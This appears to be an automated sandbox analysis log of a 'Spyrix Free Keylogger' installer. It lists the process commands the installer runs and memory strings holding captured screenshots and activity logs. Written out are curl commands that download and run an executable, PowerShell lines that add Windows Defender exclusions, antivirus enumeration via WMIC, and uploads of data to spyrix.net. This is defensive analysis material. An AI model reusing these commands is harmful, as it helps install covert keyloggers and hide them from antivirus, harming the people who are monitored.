Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\\eb90c874-90f1-477e-bf8d-92cb4599bdb5.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg query "HKU\S-1-5-19\Environment"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5'"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\l" https://cdnbaynet.com/loader/link.php?prg_id=sfk	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe" https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe "C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs"
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex" /y
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess '[space]= .*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex" /y
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_StartButton_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_Start_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Run_First_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe" "Spyrix Free Keylogger 11.6.22"
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: unknown unknown
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c plist.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 20
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 83
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 112
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 121
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 114
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 105
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 120
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq spm.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "spm"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq sem.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "sem"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq spkl.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "spkl"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq clv.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "clv"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://dashboard.spyrix.com/
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat.exe -e

Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe /F

Source: spkl.exe, 00000035.00000002.2989667203.00000000086D0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2971872040.000000000450A000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2977775602.0000000006621000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:11:47.629","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"}
Source: spkl.exe, 00000035.00000003.2911483610.0000000007717000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 24-10-02 00:12:00.152{"sTime":"2024-10-02 00:12:00.152","sdTime":"45567.0083350926","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user","SNode":"1-1"}
Source: spkl.exe, 00000035.00000002.2971872040.000000000455D000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000003.2913890617.00000000077F1000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2971872040.0000000004556000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:12:01.027","sdTime":"45567.0083452199","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","SNode":"1-3","Reserved6":"31"}
Source: spkl.exe, 00000035.00000002.2977775602.00000000065BD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: s{"sTime":"2024-10-02 00:11:47.629","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"}
Source: spkl.exe, 00000035.00000002.2977775602.000000000652A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: APP;45567.0081901505;explorer.exe;Program Manager;;user
Source: spkl.exe, 00000035.00000002.2980946676.0000000006C57000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2974675344.0000000004D2B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: spkl.exe, 00000035.00000002.2933829318.0000000000A84000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: @@DOF_PROGMAN
Source: spkl.exe, 00000035.00000002.2971872040.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ":"SCREENSHOT","SApp":"chrome.exe","sTitle":"Welcome Back - Google Chrome","SValue":"Window Change","sUser":"user","Reserved6":"31"},{"sTime":"2024-10-02 00:11:47.629","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"}]}
Source: spkl.exe, 00000035.00000002.2974675344.0000000004DA7000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: :"Program Manager","SValue":"Window Change","sUser":"user","Reserved6":"31"}":"31"}
Source: spkl.exe, 00000035.00000003.2913890617.00000000077F1000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2984263146.0000000007716000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: )2024-10-02 00:12:01.027{"sTime":"2024-10-02 00:12:01.027","sdTime":"45567.0083452199","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","SNode":"1-3","Reserved6":"31"}
Source: spkl.exe, 00000035.00000002.2958710472.0000000001910000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:12:01.027","sdTime":"45567.0083452199","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","SNode":"1-3","Reserved6":"31"}rSystem";
Source: spkl.exe, 00000035.00000002.2977582430.0000000004FD0000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: {"keyboard":"","clipboard":"","url":"","app":"explorer.exe","title":"Program Manager","log":[{"sTime":"2024-10-02 00:11:31.349","sEvent":"ACTIVITY","SValue":"Start of User Session","sUser":"user","Reserved6":"51"},{"sTime":"2024-10-02 00:11:42.710","sEvent":"APP","SApp":"chrome.exe","sTitle":"Welcome Back - Google Chrome","sUser":"user"},{"sTime":"2024-10-02 00:11:45.491","sEvent":"SCREENSHOT","SApp":"chrome.exe","sTitle":"Welcome Back - Google Chrome","SValue":"Window Change","sUser":"user","Reserved6":"31"},{"sTime":"2024-10-02 00:11:47.629","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"},{"sTime":"2024-10-02 00:11:49.129","sEvent":"SCREENSHOT","SApp":"spkl.exe","sTitle":"Spyrix Free Keylogger - Settings Wizard","SValue":"Window Change","sUser":"user","Reserved6":"31"},{"sTime":"2024-10-02 00:11:49.973","sEvent":"APP","SApp":"spkl.exe","sTitle":"Spyrix Free Keylogger - Settings Wizard","sUser":"user"},{"sTime":"2024-10-02 00:11:56.614","sEvent":"APP","SApp":"spkl.exe","sTitle":"Spyrix Free Keylogger 11.6.22","sUser":"user"},{"sTime":"2024-10-02 00:12:00.152","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"}]}
Source: spkl.exe, 00000035.00000002.2974675344.0000000004DA7000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:11:31.349","sEvent":"ACTIVITY","SValue":"Start of User Session","sUser":"user","Reserved6":"51"},{"sTime":"2024-10-02 00:11:42.710","sEvent":"APP","SApp":"chrome.exe","sTitle":"Welcome Back - Google Chrome","sUser":"user"},{"sTime":"2024-10-02 00:11:45.491","sEvent":"SCREENSHOT","SApp":"chrome.exe","sTitle":"Welcome Back - Google Chrome","SValue":"Window Change","sUser":"user","Reserved6":"31"},{"sTime":"2024-10-02 00:11:47.629","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"},{"sTime":"2024-10-02 00:11:49.129","sEvent":"SCREENSHOT","SApp":"spkl.exe","sTitle":"Spyrix Free Keylogger - Settings Wizard","SValue":"Window Change","sUser":"user","Reserved6":"31"},{"sTime":"2024-10-02 00:11:49.973","sEvent":"APP","SApp":"spkl.exe","sTitle":"Spyrix Free Keylogger - Settings Wizard","sUser":"user"},{"sTime":"2024-10-02 00:11:56.614","sEvent":"APP","SApp":"spkl.exe","sTitle":"Spyrix Free Keylogger 11.6.22","sUser":"user"},{"sTime":"2024-10-02 00:12:00.152","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"},{"sTime":"2024-10-02 00:12:01.027","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","Reserved6":"31"},zyzzzzzzzyzzzzz\|zzzzec)"
Source: spkl.exe, 00000035.00000002.2974675344.0000000004D2B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program ManagerQd
Source: spkl.exe, 00000035.00000002.2977775602.0000000006520000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2989667203.00000000086D0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2971872040.000000000450A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:12:01.027","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","Reserved6":"31"}
Source: spkl.exe, 00000035.00000003.2911483610.0000000007717000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:12:00.152","sdTime":"45567.0083350926","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user","SNode":"1-1"}
Source: spkl.exe, 00000035.00000002.2974675344.0000000004DA7000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: i{"keyboard":"","clipboard":"","url":"","app":"explorer.exe","title":"Program Manager","log":"LOG10ENTRY"}xe;P)
Source: spkl.exe, 00000035.00000002.2974675344.0000000004D2B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ime":"2024-10-02 00:12:01.027","sdTime":"45567.0083452199","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","SNode":"1-3","Reserved6":"31"}
Source: spkl.exe, 00000035.00000002.2974675344.0000000004DA7000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: [{"sTime":"2024-10-02 00:11:31.349","sEvent":"ACTIVITY","SValue":"Start of User Session","sUser":"user","Reserved6":"51"},{"sTime":"2024-10-02 00:11:42.710","sEvent":"APP","SApp":"chrome.exe","sTitle":"Welcome Back - Google Chrome","sUser":"user"},{"sTime":"2024-10-02 00:11:45.491","sEvent":"SCREENSHOT","SApp":"chrome.exe","sTitle":"Welcome Back - Google Chrome","SValue":"Window Change","sUser":"user","Reserved6":"31"},{"sTime":"2024-10-02 00:11:47.629","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"},{"sTime":"2024-10-02 00:11:49.129","sEvent":"SCREENSHOT","SApp":"spkl.exe","sTitle":"Spyrix Free Keylogger - Settings Wizard","SValue":"Window Change","sUser":"user","Reserved6":"31"},{"sTime":"2024-10-02 00:11:49.973","sEvent":"APP","SApp":"spkl.exe","sTitle":"Spyrix Free Keylogger - Settings Wizard","sUser":"user"},{"sTime":"2024-10-02 00:11:56.614","sEvent":"APP","SApp":"spkl.exe","sTitle":"Spyrix Free Keylogger 11.6.22","sUser":"user"},{"sTime":"2024-10-02 00:12:00.152","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"},{"sTime":"2024-10-02 00:12:01.027","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","Reserved6":"31"}]t 465)"
Source: spkl.exe, 00000035.00000002.2971872040.0000000004501000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:12:01.027","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","Reserved6":"31"}."Q\|P
Source: spkl.exe, 00000035.00000003.2913890617.00000000077F1000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000003.2912003714.00000000077F1000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000003.2904729142.00000000077F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: G2024-10-02 00:12:00.152{"sTime":"2024-10-02 00:12:00.152","sdTime":"45567.0083350926","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user","SNode":"1-1"}
Source: spkl.exe, 00000035.00000002.2984263146.0000000007716000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 24-10-02 00:12:01.027{"sTime":"2024-10-02 00:12:01.027","sdTime":"45567.0083452199","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","SNode":"1-3","Reserved6":"31"}
Source: spkl.exe, 00000035.00000002.2971872040.000000000457B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SSCREENSHOT;45567.0083452199;explorer.exe;Program Manager;ID: 31 Window Change;user?"
Source: spkl.exe, 00000035.00000003.2794463568.00000000077F1000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000003.2880916948.00000000077F1000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000003.2913890617.00000000077F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: G2024-10-02 00:11:47.629{"sTime":"2024-10-02 00:11:47.629","sdTime":"45567.0081901505","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user","SNode":"1-1"}
Source: spkl.exe, 00000035.00000002.2977775602.000000000652A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SCREENSHOT;45567.0082075116;explorer.exe;Program Manager;ID(
Source: spkl.exe, 00000035.00000002.2971872040.000000000457B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: USCREENSHOT;45567.0083452199;explorer.exe;Program Manager;ID: 31 Window Change;user
Source: spkl.exe, 00000035.00000002.2971872040.000000000455D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:12:01.027","sdTime":"45567.0083452199","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","SNode":"1-3","Reserved6":"31"}zationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction,OptimizationHints --start-maximized --load-extension=C:\\Windows\\crx --single-argument https://dashboard.spyrix.com/";
Source: spkl.exe, 00000035.00000002.2977775602.0000000006520000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2989667203.00000000086D0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2971872040.000000000450A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:12:00.152","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"}
Source: spkl.exe, 00000035.00000003.2779605523.00000000077F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:11:47.629","sdTime":"45567.0081901505","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user","SNode":"1-1"}
Source: spkl.exe, 00000035.00000002.2971872040.0000000004501000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:12:01.027","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","Reserved6":"31"}."
Source: spkl.exe, 00000035.00000002.2971872040.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2974675344.0000000004D4C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: explorer.exe;Program Manager
Source: spkl.exe, 00000035.00000002.2980946676.0000000006C57000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program Manager02 00:12:01.02
Source: spkl.exe, 00000035.00000002.2984263146.0000000007716000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: )2024-10-02 00:12:01.027{"sTime":"2024-10-02 00:12:01.027","sdTime":"45567.0083452199","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","SNode":"1-3","Reserved6":"31"}Q
Source: spkl.exe, 00000035.00000002.2974675344.0000000004D2B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program ManagerP#
Source: spkl.exe, 00000035.00000002.2980946676.0000000006BBA000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:11:31.349","sEvent":"ACTIVITY","SValue":"Start of User Session","sUser":"user","Reserved6":"51"},{"sTime":"2024-10-02 00:11:42.710","sEvent":"APP","SApp":"chrome.exe","sTitle":"Welcome Back - Google Chrome","sUser":"user"},{"sTime":"2024-10-02 00:11:45.491","sEvent":"SCREENSHOT","SApp":"chrome.exe","sTitle":"Welcome Back - Google Chrome","SValue":"Window Change","sUser":"user","Reserved6":"31"},{"sTime":"2024-10-02 00:11:47.629","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"},
Source: spkl.exe, 00000035.00000002.2977775602.000000000652A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SCREENSHOT;45567.0082075116;explorer.exe;Program Manager;ID: 31 Window Change;user
Source: spkl.exe, 00000035.00000002.2984780387.0000000007D8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager:00.1520""
Source: spkl.exe, 00000035.00000002.2971872040.000000000457B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SCREENSHOT;45567.0083452199;explorer.exe;Program Manager;ID: 31 Window Change;user
Source: spkl.exe, 00000035.00000003.2779605523.00000000077F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:11:47.629","sdTime":"45567.0081901505","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user","SNode":"1-1"}00L#
Source: spkl.exe, 00000035.00000002.2971872040.000000000457B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SSCREENSHOT;45567.0083452199;explorer.exe;Program Manager;ID: 31 Window Change;userd"P
Source: spkl.exe, 00000035.00000002.2977775602.00000000065BD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: s{"sTime":"2024-10-02 00:12:00.152","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"}

